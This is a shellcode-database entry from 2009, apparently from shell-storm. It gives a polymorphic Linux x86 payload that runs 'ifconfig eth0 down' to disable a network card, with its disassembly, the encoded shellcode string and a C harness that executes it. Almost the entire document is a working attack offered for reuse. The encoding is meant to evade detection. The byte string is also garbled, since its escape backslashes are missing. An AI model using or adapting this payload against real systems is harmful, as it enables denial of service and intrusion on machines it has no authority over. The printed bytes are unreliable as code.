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# Title : linux/x86 Polymorphic shellcode disable Network Card 75 bytes
# Published : 2009-08-26
# Author : Jonathan Salwan
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/* Linux x86 - Polymorphic shellcode for disable Network Card (default eth0) - 75 bytes
* Jonathan Salwan < submit [!] shell-storm.org >
*
* ! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ !
*
*
* Disassembly of section .text:
*
* 08048060 <_start>:
* 8048060: 6a 0b push $0xb
* 8048062: 58 pop %eax
* 8048063: 99 cltd
* 8048064: 52 push %edx
* 8048065: 68 64 6f 77 6e push $0x6e776f64
* 804806a: 89 e6 mov %esp,%esi
* 804806c: 52 push %edx
* 804806d: 68 65 74 68 30 push $0x30687465 < (eth0) you can change it for other Network card
* 8048072: 89 e1 mov %esp,%ecx
* 8048074: 52 push %edx
* 8048075: 68 6e 66 69 67 push $0x6769666e
* 804807a: 68 69 66 63 6f push $0x6f636669
* 804807f: 68 69 6e 2f 2f push $0x2f2f6e69
* 8048084: 68 2f 2f 73 62 push $0x62732f2f
* 8048089: 89 e3 mov %esp,%ebx
* 804808b: 52 push %edx
* 804808c: 56 push %esi
* 804808d: 51 push %ecx
* 804808e: 53 push %ebx
* 804808f: 89 e1 mov %esp,%ecx
* 8048091: cd 80 int $0x80
*
*/
main()
{
char shellcode[] = "xebx11x5ex31xc9xb1x51x80"
"x6cx0exffx01x80xe9x01x75"
"xf6xebx05xe8xeaxffxffxff"
"x6bx0cx59x9ax53x69x65x70"
"x78x6fx8axe7x53x69x66x75"
"x69x31x8axe2x53x69x6fx67"
"x6ax68x69x6ax67x64x70x69"
"x6ax6fx30x30x69x30x30x74"
"x63x8axe4x53x57x52x54x8a"
"xe2xcex81";
printf("Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
}
// www.Syue.com [2009-08-26]